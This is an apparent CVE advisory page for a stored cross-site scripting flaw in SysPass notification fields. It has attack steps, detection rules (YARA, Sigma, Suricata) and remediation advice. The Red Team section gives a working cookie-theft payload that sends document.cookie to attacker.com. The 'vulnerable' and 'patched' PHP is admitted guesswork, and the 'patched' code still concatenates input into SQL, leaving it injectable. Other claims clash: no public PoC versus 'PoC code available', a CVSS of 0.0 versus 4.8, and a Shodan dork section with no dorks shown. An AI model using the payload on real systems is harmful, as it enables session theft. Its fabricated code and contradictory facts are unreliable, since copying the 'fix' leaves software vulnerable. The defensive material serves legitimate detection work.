CVE-2025-25476
Executive Summary
CVE-2025-25476 identifies a stored cross-site scripting (XSS) vulnerability in SysPass 3.2.x. A malicious user with elevated privileges (e.g., admin or manager roles) can inject arbitrary JavaScript code via the notification type or notification component fields. When other users view these notifications, the payload executes in their browser context, potentially leading to session hijacking, credential theft, or further privilege escalation within the SysPass application.
This vulnerability is currently unpatched, and no public exploit code or proof-of-concept has been released. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the vector is estimated as above.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
SysPass is a PHP-based password manager. The vulnerability resides in the application's own code, not in a third-party package. However, administrators should verify the integrity of their SysPass installation and monitor for any official patches or updates.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – The attacker must have elevated privileges (e.g., admin/manager).
- User Interaction (UI): Required (R) – The victim must view the malicious notification.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the original scope.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited data modification.
- Availability (A): None (N) – No impact on availability.
Base Score: 4.8 (Medium)
Threat Level: Medium – Exploitation requires elevated privileges and user interaction, but the impact can be significant in a multi-tenant environment.
Deep Dive & Mechanics
The vulnerability exists in the notification management module of SysPass. When a user with elevated privileges creates or edits a notification, the application does not properly sanitize the type and component fields. An attacker can inject JavaScript code into these fields, which is then stored in the database.
When other users (including lower-privileged users) view the notification list or dashboard, the stored payload is rendered without proper encoding, leading to XSS execution.
Attack Flow:
- Attacker with admin/manager role logs into SysPass.
- Attacker navigates to the notification creation/edit page.
- Attacker inserts a malicious payload (e.g.,
<script>alert('XSS')</script>) into thetypeorcomponentfield. - The payload is stored in the database.
- Victim user views the notification list.
- The payload executes in the victim's browser.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is assumed to be in the notification handling logic. A typical vulnerable pattern in PHP might look like:
// Vulnerable code (SysPass 3.2.x)
$notificationType = $_POST['type'];
$notificationComponent = $_POST['component'];
// Directly stored without sanitization
$db->query("INSERT INTO notifications (type, component) VALUES ('$notificationType', '$notificationComponent')");
A patched version would sanitize output using htmlspecialchars() or a similar function:
// Patched code (hypothetical)
$notificationType = htmlspecialchars($_POST['type'], ENT_QUOTES, 'UTF-8');
$notificationComponent = htmlspecialchars($_POST['component'], ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO notifications (type, component) VALUES ('$notificationType', '$notificationComponent')");
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- SysPass 3.2.x instance
- Admin or manager credentials
- A victim user who will view notifications
Steps:
- Log in as an admin/manager.
- Navigate to
Notifications -> Add New. - In the
Typefield, enter:<img src=x onerror=alert(document.cookie)> - In the
Componentfield, enter:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the notification.
- Wait for a victim to view the notification list.
Expected Result: The victim's browser executes the JavaScript, sending their session cookie to the attacker's server.
Blue Team (Detection & Prevention)
Detection:
- Monitor for unusual notification creation events (e.g., multiple notifications created by a single admin in a short time).
- Look for HTML/JavaScript patterns in notification fields via database queries.
- Use WAF rules to block XSS payloads in POST requests to notification endpoints.
Prevention:
- Apply input validation and output encoding on all notification fields.
- Restrict notification creation to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from SysPass server.
- Suspicious POST requests to
/index.php?page=notification&action=savewith HTML/JavaScript in parameters.
Host IOCs:
- Database entries in
notificationstable containing<script>,<img onerror>, or similar XSS patterns. - Log entries showing unexpected notification creation by privileged users.
- Database entries in
File IOCs:
- Modified SysPass source files (if attacker gains code execution).
Detection Engineering
YARA Rule
rule Detect_SysPass_XSS_Payload {
meta:
description = "Detects XSS payloads in SysPass notification fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-25476"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /<img[^>]+onerror\s*=/i
$xss3 = /onload\s*=\s*["']?javascript:/i
$xss4 = /<svg[^>]*onload\s*=/i
condition:
any of them
}
Sigma Rule
title: SysPass Stored XSS Notification Creation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation of notifications with XSS payloads in SysPass
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: syspass
detection:
selection:
event: notification_create
type|contains:
- '<script'
- '<img'
- 'onerror'
- 'onload'
component|contains:
- '<script'
- '<img'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate use of HTML in notification fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-25476 SysPass Stored XSS Payload in Notification"; flow:to_server,established; content:"POST"; http_method; content:"/index.php?page=notification&action=save"; http_uri; pcre:"/(<script|<img[^>]+onerror|onload\s*=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable notification creation for non-essential users until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in notification fields.
- Review and sanitize existing notification entries in the database.
Long-term Fix:
- Apply output encoding (e.g.,
htmlspecialchars()) to all notification fields. - Use a Content Security Policy (CSP) header to restrict script execution.
- Upgrade to a patched version once released by SysPass.
Workaround:
- Manually edit the SysPass source code to add sanitization (if you have development resources).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.